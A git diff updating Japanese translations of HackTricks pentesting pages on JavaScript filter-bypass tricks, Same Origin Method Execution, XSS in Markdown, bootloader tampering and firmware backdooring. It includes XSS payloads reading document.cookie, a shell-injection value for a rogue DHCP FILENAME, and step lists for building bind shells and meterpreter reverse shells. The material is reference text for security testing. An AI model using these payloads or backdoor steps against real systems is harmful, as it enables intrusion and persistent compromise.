* **サイバーセキュリティ企業**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**PEASSの最新バージョンにアクセスしたい**ですか、または**HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見しましょう私たちの独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)コレクション
* [**公式PEASSHackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう
* **[💬](https://emojipedia.org/speech-balloon/) Discordグループ**に**参加**するか、[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter**で**私をフォロー**する**🐦**[**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
* **サイバーセキュリティ企業**で働いていますか? **HackTricksで会社を宣伝**してみたいですか?または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[NFTs](https://opensea.io/collection/the-peass-family)コレクションをご覧ください
* [**公式PEASSHackTricksスウェグ**](https://peass.creator-spring.com)を手に入れましょう
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**をフォロー**してください。
* **ハッキングトリックを共有するために、**[**hacktricksリポジトリ**](https://github.com/carlospolop/hacktricks) **と** [**hacktricks-cloudリポジトリ**](https://github.com/carlospolop/hacktricks-cloud) **にPRを提出してください。**
</details>
@ -67,17 +67,13 @@ console.log(log)//[35,33],[47,47]
```
### 有効なJS改行文字
In JavaScript, the newline character can be represented by `\n`. However, there are other valid ways to represent a newline character in JavaScript. Some of these methods include:
In JavaScript, the newline character can be represented by `\n`. However, there are other valid ways to represent a newline character in JavaScript. Some of these include:
- Using the Unicode line separator character: `\u2028`
- Using the Unicode paragraph separator character: `\u2029`
- Using template literals with backticks:
```javascript
`line 1
line 2`
```
- `\r\n`: Carriage return followed by a newline character.
- `\u000A`: Unicode representation of a newline character.
- `\x0A`: Hexadecimal representation of a newline character.
These alternative representations can be useful in certain situations, especially when trying to obfuscate code or bypass filters.
These alternative representations can be used in various contexts, including when attempting to bypass input filters or when crafting payloads for XSS attacks.
```javascript
//Javascript interpret as new line these chars:
String.fromCharCode(10) //0x0a
@ -99,7 +95,7 @@ console.log(`[${err}]`,j,cmd);
}
//From: https://balsn.tw/ctf_writeup/20191012-hitconctfquals/#bounty-pl33z
```
### 関数呼び出しの有効なJSスペース
### 関数呼び出しの有効なJSスペース
```javascript
// Heyes, Gareth. JavaScript for hackers: Learn to think like a hacker (pp. 40-41). Kindle Edition.
@ -216,7 +212,7 @@ console.log(log)//33,45,62
```
## **属性の分析**
Portswiggerのツール**Hackability inspector**は、javascriptオブジェクトの**属性**を**分析**するのに役立ちます。チェック: [https://portswigger-labs.net/hackability/inspector/?input=x.contentWindow\&html=%3Ciframe%20src=//subdomain1.portswigger-labs.net%20id=x%3E](https://portswigger-labs.net/hackability/inspector/?input=x.contentWindow\&html=%3Ciframe%20src=//subdomain1.portswigger-labs.net%20id=x%3E)
Portswiggerのツール**Hackability inspector**は、javascriptオブジェクトの**属性**を分析するのに役立ちます。チェック: [https://portswigger-labs.net/hackability/inspector/?input=x.contentWindow\&html=%3Ciframe%20src=//subdomain1.portswigger-labs.net%20id=x%3E](https://portswigger-labs.net/hackability/inspector/?input=x.contentWindow\&html=%3Ciframe%20src=//subdomain1.portswigger-labs.net%20id=x%3E)
## **.map jsファイル**
@ -225,7 +221,7 @@ Portswiggerのツール**Hackability inspector**は、javascriptオブジェク
## "--" 代入
デクリメント演算子`--`は、代入でもあります。この演算子は値を取り、それを1つ減らします。その値が数値でない場合、`NaN`に設定されます。これは環境から変数の内容を**削除**するために使用できます。
デクリメント演算子`--`も代入です。この演算子は値を取り、それを1つ減らします。その値が数値でない場合、`NaN`に設定されます。これは環境から変数の内容を削除するために使用できます。
![](<../../.gitbook/assets/image (553).png>)
@ -236,7 +232,7 @@ Portswiggerのツール**Hackability inspector**は、javascriptオブジェク
### .call と .apply
関数の**`.call`**メソッドは、**関数を実行**するために使用されます。\
**デフォルトで期待される最初の引数**は**`this`の値**であり、**何も指定されない**場合、その値は**`window`**になります(**`strict mode`**が使用されていない限り)。
**デフォルトで期待される最初の引数**は**`this`の値**であり、**何も指定されない場合**、その値は**`window`**になります(**`strict mode`**が使用されていない限り)。
```javascript
function test_call(){
console.log(this.value); //baz
@ -269,7 +265,7 @@ test_apply.apply(null, ["arg1", "arg2"])
```
### Arrow functions
Arrow functionsは、1行で関数をより簡単に生成できるようにします(理解している場合)。
アロー関数を使用すると、1行で関数をより簡単に生成できます(理解している場合)。
```javascript
// Traditional
function (a){ return a + 1; }
@ -292,7 +288,7 @@ let a = 4;
let b = 2;
() => a + b + 1;
```
したのほとんどの関数は実際には役に立たないので、保存して呼び出すための場所がないです。`plusone` 関数を作成する例:
したのほとんどの関数は実際には無用です。なぜなら、それらを保存して呼び出す場所がないからです。たとえば、`plusone` 関数を作成する例:
```javascript
// Traductional
function plusone (a){ return a + 1; }
@ -300,9 +296,9 @@ function plusone (a){ return a + 1; }
//Arrow
plusone = a => a + 100;
```
### Bind 関数
### バインド関数
Bind 関数は、与えられた **`this`** オブジェクトと **パラメータ** を変更して、**関数のコピー** を作成することができます。
バインド関数は、与えられた**`this`**オブジェクトと**パラメータ**を変更して、**関数のコピー**を作成することができます。
```javascript
//This will use the this object and print "Hello World"
var fn = function ( param1, param2 ) {
@ -347,7 +343,7 @@ console.log(global.afunc.toString()); //This will print the code of the function
(function (){ return arguments.callee.toString(); })()
(function (){ return arguments[0]; })("arg0")
```
いくつかの**ランダム**な方法で、別の関数から関数のコード(コメントも含む)を**抽出**する方法:
いくつかの**ランダム**な方法は、別の関数から関数のコード(コメントも含む)を**抽出**することができます:
```javascript
(function (){ return retFunc => String(arguments[0]) })(a=>{/* Hidden commment */})()
(function (){ return retFunc => Array(arguments[0].toString()) })(a=>{/* Hidden commment */})()
@ -486,10 +482,10 @@ await browser.close();
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> - <a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
* **サイバーセキュリティ企業**で働いていますか?**HackTricksで会社を宣伝**したいですか?または**PEASSの最新バージョンにアクセス**したいですか、または**HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見しましょう当社の独占的な[NFTs](https://opensea.io/collection/the-peass-family)コレクション
* **サイバーセキュリティ企業**で働いていますか?**HackTricksで会社を宣伝**したいですか?または**PEASSの最新バージョンにアクセスしたい**ですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[NFTs](https://opensea.io/collection/the-peass-family)コレクションをご覧ください
* [**公式PEASSHackTricksスウェグ**](https://peass.creator-spring.com)を手に入れましょう
* **[💬](https://emojipedia.org/speech-balloon/) [Discordグループ](https://discord.gg/hRep4RUj7f)**に参加するか、[telegramグループ](https://t.me/peass)に参加するか、**Twitter**で**🐦**[**@carlospolopm**](https://twitter.com/hacktricks_live)**をフォロー**してください。
* **ハッキングトリックを共有するためにPRを**[**hacktricksリポジトリ**](https://github.com/carlospolop/hacktricks) **と**[**hacktricks-cloudリポジトリ**](https://github.com/carlospolop/hacktricks-cloud) **に提出**してください。
* **[💬 Discordグループ](https://emojipedia.org/speech-balloon/)**に参加するか、[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦で私をフォローしてください[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **ハッキングトリックを共有するためにPRを送信して** [**hacktricksリポジトリ**](https://github.com/carlospolop/hacktricks) **と** [**hacktricks-cloudリポジトリ**](https://github.com/carlospolop/hacktricks-cloud) **に参加してください。**
</details>

View file

@ -4,46 +4,46 @@
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
* **サイバーセキュリティ企業**で働いていますか?**HackTricksで企業を宣伝**してみたいですか?または**PEASSの最新バージョンにアクセス**したり、HackTricksを**PDFでダウンロード**したいですか?[**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFT**](https://opensea.io/collection/the-peass-family)コレクションをご覧ください
* **サイバーセキュリティ企業**で働いていますか?**HackTricksで企業を宣伝**したいですか?または**最新版のPEASSにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFT**](https://opensea.io/collection/the-peass-family)コレクションを入手してください
* [**公式PEASSHackTricksグッズ**](https://peass.creator-spring.com)を手に入れましょう
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**テレグラムグループ**](https://t.me/peass)に**参加**するか、**Twitter**で[**@carlospolopm**](https://twitter.com/hacktricks_live)**フォロー**してください。
* **ハッキングテクニックを共有**するには、[**hacktricksリポジトリ**](https://github.com/carlospolop/hacktricks)と[**hacktricks-cloudリポジトリ**](https://github.com/carlospolop/hacktricks-cloud)にPRを提出してください。
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**フォロー**してください。
* **ハッキングテクニックを共有するために** [**hacktricksリポジトリ**](https://github.com/carlospolop/hacktricks) **と** [**hacktricks-cloudリポジトリ**](https://github.com/carlospolop/hacktricks-cloud) **にPRを提出**してください。
</details>
## Same Origin Method Execution
あるページで**制限されたJavaScriptを実行**できる場合があります。たとえば、**実行されるコールバック値を制御**できる場合です。
あるページで**制限されたJavaScriptを実行**できる場合があります。たとえば、**実行されるコールバック値を制御できる**場合です。
そのような場合、できることの1つは、**DOMにアクセスして**(たとえばボタンをクリックするなどの)**機密アクションを呼び出すこと**です。ただし、通常、**DOMに興味深いものがない小さなエンドポイント**でこの脆弱性を見つけることがあります。
そのようなシナリオでは、この攻撃は非常に役立ちます。なぜなら、その目的は、**同じドメインの異なるページからDOM内の制限されたJS実行を悪用**して、より興味深いアクションを実行できるようにすることです。
そのようなシナリオでは、この攻撃は非常に役立ちます。なぜなら、その目的は、**同じドメインの異なるページからDOM内の制限されたJS実行を悪用**して、より興味深いアクションを実行できるようにすることです。
基本的に、攻撃フローは次のとおりです:
* **悪用できるコールバックを見つける**(おそらく\[\w\\.\_]に制限されている可能性があります)。
* 制限がなく、任意のJSを実行できる場合は、これを通常のXSSとして悪用できます。
* **被害者に**、**攻撃者が制御するページ**を**開かせる**。
* **ページは自分自身を**別の**ウィンドウ**で開きます(新しいウィンドウには初期のウィンドウを参照する**`opener`**オブジェクトが含まれます)。
* **初期ページ**は**興味深いDOMがあるページ**を読み込みます。
* **2番目のページ**は**コールバックを悪用**し、**`opener`**オブジェクトを使用して**初期ページ**今や興味深いDOMを含むで**アクションをアクセスして実行**します。
* **被害者に** **攻撃者が制御するページを開かせる**
* **ページは自分自身を** **異なるウィンドウ**(新しいウィンドウには初期のウィンドウを参照する**`opener`**オブジェクトがあります)で**開きます**
* **初期ページ**は**興味深いDOMがあるページ**を読み込みます。
* **2番目のページ**は**コールバックを悪用**し、**`opener`**オブジェクトを使用して**初期ページ**今や興味深いDOMを含むで**アクションをアクセスして実行**します。
{% hint style="danger" %}
初期ページが2番目のページを作成した後に新しいURLにアクセスしても、2番目のページの**`opener`オブジェクトは新しいDOM内の最初のページへの有効な参照**のままであることに注意してください
初期ページが2番目のページを作成した後に新しいURLにアクセスしても、**2番目のページの`opener`オブジェクトは新しいDOM内の最初のページへの有効な参照**です
さらに、2番目のページがopenerオブジェクトを使用できるようにするには、**両方のページが同じオリジンにある必要があります**。この脆弱性を悪用するには、**同じオリジンのXSS**の種類を見つける必要があるためです。
さらに、2番目のページがopenerオブジェクトを使用できるようにするには、**両方のページが同じオリジンにある必要があります**。この脆弱性を悪用するには、**同じオリジンのXSS**を見つける必要があるためです。
{% endhint %}
### Exploitation
* このフォームを使用して、この種の脆弱性を悪用する**PoCを生成**できます:[https://www.someattack.com/Playground/SOMEGenerator](https://www.someattack.com/Playground/SOMEGenerator)
* クリックするHTML要素へのDOMパスを見つけるに、このブラウザ拡張機能を使用できます:[https://www.someattack.com/Playground/targeting\_tool](https://www.someattack.com/Playground/targeting\_tool)
* クリックするHTML要素へのDOMパスを見つけるために、このブラウザ拡張機能を使用できます:[https://www.someattack.com/Playground/targeting\_tool](https://www.someattack.com/Playground/targeting\_tool)
### Example
* [https://www.someattack.com/Playground/](https://www.someattack.com/Playground/)で脆弱な例を見つけることができます。
* この例では、サーバーが**JavaScriptコードを生成**し、**コールバックパラメータの内容に基づいて**HTMLに**追加**しています:`<script>opener.{callbacl_content}</script>`。この例では、`opener`の使用を明示する必要がないため、注意してください
* この例では、サーバーが**JavaScriptコードを生成**し、**コールバックパラメータの内容に基づいて**HTMLに**追加**しています:`<script>opener.{callbacl_content}</script>`。この例では、`opener`の使用を明示する必要はありません
* また、このCTF解説もチェックしてください[https://ctftime.org/writeup/36068](https://ctftime.org/writeup/36068)
## References

View file

@ -7,7 +7,7 @@
* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** **🐦**[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**.
</details>
@ -22,11 +22,11 @@ The most common way to get XSS in markdown is to inject common HTML tags that ex
<script>alert(1)</script>
<img src=x onerror=alert(1) />
```
以下は、[hacktricksのメインXSSページ](./)でさらに多くの例を見つけることができます。
以下は、[hacktricksのメインXSSページ](./)にさらなる例があります。
### Javascriptリンク
HTMLタグが選択肢にない場合は、常にmarkdown構文を使って試してみることができます:
HTMLタグが選択肢にない場合は、常にmarkdown構文を使って遊んでみることができます:
```html
<!-- markdow link to XSS, this usually always work but it requires interaction -->
[a](javascript:prompt(document.cookie))
@ -65,15 +65,15 @@ document.body.innerHTML = marked.parse(DOMPurify.sanitize(qs.get("content")));
## ペイロードの例:
```html
<script>alert('XSS')</script>
<script>alert('XSS in Markdown')</script>
```
```markdown
[Click me](javascript:alert('XSS'))
[Click me](javascript:alert('XSS in Markdown'))
```
```html
<img src="x" onerror="alert('XSS')">
<img src="x" onerror="alert('XSS in Markdown')">
```
```html
<div id="1
@ -170,10 +170,10 @@ _http://danlec_@.1 style=background-image:url(data:image/png;base64,iVBORw0KGgoA
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
* **サイバーセキュリティ企業**で働いていますか?**HackTricksで会社を宣伝**してみたいですか?または**PEASSの最新バージョンを入手したり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* **サイバーセキュリティ企業**で働いていますか?**HackTricksで会社を宣伝**してみたいですか?または**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[NFTs](https://opensea.io/collection/the-peass-family)コレクションをご覧ください
* [**公式PEASSHackTricksスウェグ**](https://peass.creator-spring.com)を手に入れましょう
* **[💬](https://emojipedia.org/speech-balloon/) [Discordグループ](https://discord.gg/hRep4RUj7f)**に参加するか、[telegramグループ](https://t.me/peass)に参加するか、**Twitter**で**🐦**[**@carlospolopm**](https://twitter.com/hacktricks_live)**をフォローしてください。**
* **[hacktricksリポジトリ](https://github.com/carlospolop/hacktricks)と[hacktricks-cloudリポジトリ](https://github.com/carlospolop/hacktricks-cloud)**にPRを提出して、あなたのハッキングトリックを共有してください。
* **[**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**をフォロー**してください。
* **ハッキングトリックを共有するために、[hacktricksリポジトリ](https://github.com/carlospolop/hacktricks)と[hacktricks-cloudリポジトリ](https://github.com/carlospolop/hacktricks-cloud)**にPRを提出してください。
</details>

View file

@ -4,18 +4,18 @@
HackTricksをサポートする他の方法
* **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい場合**は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**公式PEASSHackTricksスワッグ**](https://peass.creator-spring.com)を入手する
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見る
* **💬 [Discordグループ](https://discord.gg/hRep4RUj7f)**に参加するか、[telegramグループ](https://t.me/peass)に参加するか、**Twitter**で私をフォローする🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)****
* **ハッキングトリックを共有するは、** [**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してください。
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションをご覧ください
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)に参加するか、[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter**で私をフォローする 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
* **ハッキングトリックを共有するために** [**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出する
</details>
デバイスの起動構成やU-bootなどのブートローダーを変更するために推奨される手順は次のとおりです
1. **ブートローダーのインタープリターシェルにアクセス**:
- ブート中に、「0」、「スペース」、または他の特定の「マジックコード」を押して、ブートローダーのインタープリターシェルにアクセスします。
- 起動中に、「0」、「スペース」、または他の特定の「マジックコード」を押して、ブートローダーのインタープリターシェルにアクセスします。
2. **ブート引数の変更**:
- 以下のコマンドを実行して、ブート引数に '`init=/bin/sh`' を追加し、シェルコマンドを実行できるようにします:
@ -44,13 +44,15 @@ HackTricksをサポートする他の方法
- 冗長なログ記録、任意のカーネルの読み込み、または信頼されていないソースからのブートなどのデバッグ機能が有効になっているかどうかを確認します。
6. **注意深いハードウェア干渉**:
- デバイスの起動シーケンス中に1つのピンを接地に接続し、特にカーネルが展開される前にSPIまたはNANDフラッシュチップとやり取りする際には、デバイスを損傷しないように非常に注意してください。ピンをショートする前にNANDフラッシュチップのデータシートを参照してください。
- デバイスの起動シーケンス中に1つのピンを接地に接続し、特にカーネルが展開される前にSPIまたはNANDフラッシュチップとやり取りする際には、極めて注意してください。ピンをショートする前にNANDフラッシュチップのデータシートを参照してください。
7. **ローグDHCPサーバーの設定**:
- デバイスがPXEブート中に摂取する悪意のあるパラメータを持つローグDHCPサーバーを設定します。MetasploitのMSFDHCP補助サーバーなどのツールを利用します。デバイスの起動手順の入力検証をテストするために、'FILENAME'パラメータを`'a";/bin/sh;#'`などのコマンドインジェクションコマンドで変更します。
- デバイスがPXEブート中に摂取する悪意のあるパラメータを持つローグDHCPサーバーを設定します。MetasploitのMSFDHCP補助サーバーなどのツールを利用します。デバイスの起動手順の入力検証をテストするために、'FILENAME'パラメータを `'a";/bin/sh;#'` のようなコマンドインジェクションコマンドで変更します。
**注意**: デバイスのピンと物理的なやり取りを伴う手順(*アスタリスクでマークされています)は、デバイスを損傷しないように非常に注意してアプローチする必要があります
**注意**: デバイスのピンと物理的な相互作用を伴う手順(*アスタリスクでマークされています)は、デバイスを損傷させないように極めて注意して abord してください
# 参考文献
## 参考文献
* [https://scriptingxss.gitbook.io/firmware-security-testing-methodology/](https://scriptingxss.gitbook.io/firmware-security-testing-methodology/)
<details>

View file

@ -1,58 +1,58 @@
<details>
<summary><strong>htARTE (HackTricks AWS Red Team Expert)でゼロからヒーローまでAWSハッキングを学ぶ</strong></a><strong>!</strong></summary>
<summary><strong>ゼロからヒーローまでAWSハッキングを学ぶ</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS Red Team Expert</strong></a><strong></strong></summary>
HackTricks をサポートする他の方法:
* **HackTricksにあなたの会社を広告したい**、または**HackTricksをPDFでダウンロードしたい**場合は、[**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)をチェックしてください。
* [**公式PEASS & HackTricksグッズ**](https://peass.creator-spring.com)を入手する
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見する、私たちの独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクション
* 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)に**参加する**か、[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)で**フォロー**する。
* **HackTricks**の[**GitHubリポジトリ**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)にPRを提出して、あなたのハッキングのコツを共有する。
* **HackTricks で企業を宣伝したい** または **HackTricks をPDFでダウンロードしたい** 場合は [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop) をチェック!
* [**公式PEASSHackTricksグッズ**](https://peass.creator-spring.com)を入手
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な [**NFTs**](https://opensea.io/collection/the-peass-family)コレクションを見る
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f) に参加するか、[**telegramグループ**](https://t.me/peass) に参加するか、**Twitter** 🐦 で **@carlospolopm**をフォローする**.
* **ハッキングトリックを共有するために** [**HackTricks**](https://github.com/carlospolop/hacktricks) [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) のGitHubリポジトリにPRを提出する。
</details>
# ファームウェアの整合性
**カスタムファームウェアやコンパイル済みバイナリをアップロードして、整合性や署名検証の欠陥を悪用することができます**。バックドアバインドシェルのコンパイルには、以下の手順を実行できます:
**カスタムファームウェアやコンパイルされたバイナリをアップロードして整合性や署名検証の欠陥を悪用**することができます。バックドアバインドシェルのコンパイルには次の手順が続けられます:
1. firmware-mod-kit (FMK)を使用してファームウェアを抽出する
2. 対象のファームウェアアーキテクチャとエンディアンを特定する。
3. Buildrootやその他の適切な方法を使用してクロスコンパイラを構築す
4. クロスコンパイラを使用してバックドアを構築す
5. バックドアを抽出したファームウェアの/usr/binディレクトリにコピーする
6. 適切なQEMUバイナリを抽出したファームウェアのrootfsにコピーする
7. chrootとQEMUを使用してバックドアをエミュレートす
8. netcatを介してバックドアにアクセスす
9. QEMUバイナリを抽出したファームウェアのrootfsから削除する。
10. FMKを使用して修正されたファームウェアを再パッケージす
11. ファームウェア分析ツールキット(FAT)を使用してエミュレートし、netcatを使用して対象のバックドアIPとポートに接続して、バックドア付きファームウェアをテストする
1. ファームウェアは firmware-mod-kitFMKを使用して抽出できます
2. ターゲットのファームウェアアーキテクチャとエンディアンを特定する必要があります
3. Buildrootや他の環境に適した方法を使用してクロスコンパイラを構築できます。
4. クロスコンパイラを使用してバックドアを構築できます。
5. バックドアを抽出されたファームウェアの /usr/bin ディレクトリにコピーできます
6. 適切なQEMUバイナリを抽出されたファームウェアのrootfsにコピーできます
7. chrootとQEMUを使用してバックドアをエミュレートできます。
8. バックドアにはnetcatを介してアクセスできます。
9. QEMUバイナリは抽出されたファームウェアのrootfsから削除する必要があります
10. FMKを使用して修正されたファームウェアを再パッケージできます。
11. バックドア付きファームウェアは、ファームウェア解析ツールキットFATを使用してエミュレートし、netcatを使用してターゲットのバックドアIPとポートに接続できます
動的分析、ブートローダーの操作、またはハードウェアセキュリティテストを通じて既にrootシェルが取得されている場合、悪意のあるプリコンパイル済みバイナリ、例えばインプラントやリバースシェルが実行される可能性があります。Metasploitフレームワークや'msfvenom'のような自動化されたペイロード/インプラントツールを、以下の手順で活用できます:
既にダイナミック解析、ブートローダー操作、またはハードウェアセキュリティテストを通じてルートシェルを取得している場合、インプラントやリバースシェルなどの事前にコンパイルされた悪意のあるバイナリを実行できます。Metasploitフレームワークや 'msfvenom'などの自動ペイロード/インプラントツールを使用する場合は、次の手順を使用できます:
1. 対象のファームウェアアーキテクチャとエンディアンを特定する。
2. Msfvenomを使用して、ターゲットペイロード、攻撃者ホストIP、リスニングポート番号、ファイルタイプ、アーキテクチャ、プラットフォーム、および出力ファイルを指定す
3. ペイロードを侵害されたデバイスに転送し、実行権限があることを確認する
4. Metasploitを準備して、msfconsoleを起動し、ペイロードに応じて設定を構成して、着信リクエストを処理する
5. 侵害されたデバイスでmeterpreterリバースシェルを実行する
6. 開かれるmeterpreterセッションを監視する
7. ポストエクスプロイト活動を実行する
1. ターゲットのファームウェアアーキテクチャとエンディアンを特定する必要があります
2. Msfvenomを使用して、ターゲットペイロード、攻撃者ホストIP、リスニングポート番号、ファイルタイプ、アーキテクチャ、プラットフォーム、および出力ファイルを指定できます。
3. ペイロードを侵害されたデバイスに転送し、実行権限を持っていることを確認できます
4. Metasploitを準備して、msfconsoleを起動し、設定をペイロードに応じて構成できます
5. 侵害されたデバイスでメータプリタリバースシェルを実行できます
6. メータプリタセッションが開かれると監視できます
7. ポストエクスプロイテーション活動を実行できます
可能であれば、起動スクリプト内の脆弱性を悪用して、再起動をまたいでデバイスへの永続的なアクセスを得ることができます。これらの脆弱性は、起動スクリプトが、SDカードやルートファイルシステム外でデータを保存するために使用されるフラッシュボリュームなど、信頼できないマウントされた場所にあるコードを参照、[シンボリックリンク](https://www.chromium.org/chromium-os/chromiumos-design-docs/hardening-against-malicious-stateful-data)、または依存している場合に発生します。
可能であれば、起動スクリプト内の脆弱性を悪用して、再起動時にデバイスに持続的なアクセス権を取得することができます。これらの脆弱性は、起動スクリプトが、SDカードやルートファイルシステム以外のデータを保存するために使用されるフラッシュボリュームなどの信頼できないマウントされた場所にあるコードを参照、[シンボリックリンク](https://www.chromium.org/chromium-os/chromiumos-design-docs/hardening-against-malicious-stateful-data)、または依存している場合に発生します。
# 参考文献
* 詳細については、[https://scriptingxss.gitbook.io/firmware-security-testing-methodology/](https://scriptingxss.gitbook.io/firmware-security-testing-methodology/)をチェックしてください。
## 参考文献
* 詳細については [https://scriptingxss.gitbook.io/firmware-security-testing-methodology/](https://scriptingxss.gitbook.io/firmware-security-testing-methodology/) を参照してください。
<details>
<summary><strong>htARTE (HackTricks AWS Red Team Expert)でゼロからヒーローまでAWSハッキングを学ぶ</strong></a><strong>!</strong></summary>
<summary><strong>ゼロからヒーローまでAWSハッキングを学ぶ</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS Red Team Expert</strong></a><strong></strong></summary>
HackTricks をサポートする他の方法:
* **HackTricksにあなたの会社を広告したい**、または**HackTricksをPDFでダウンロードしたい**場合は、[**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)をチェックしてください。
* [**公式PEASS & HackTricksグッズ**](https://peass.creator-spring.com)を入手する
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見する、私たちの独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクション
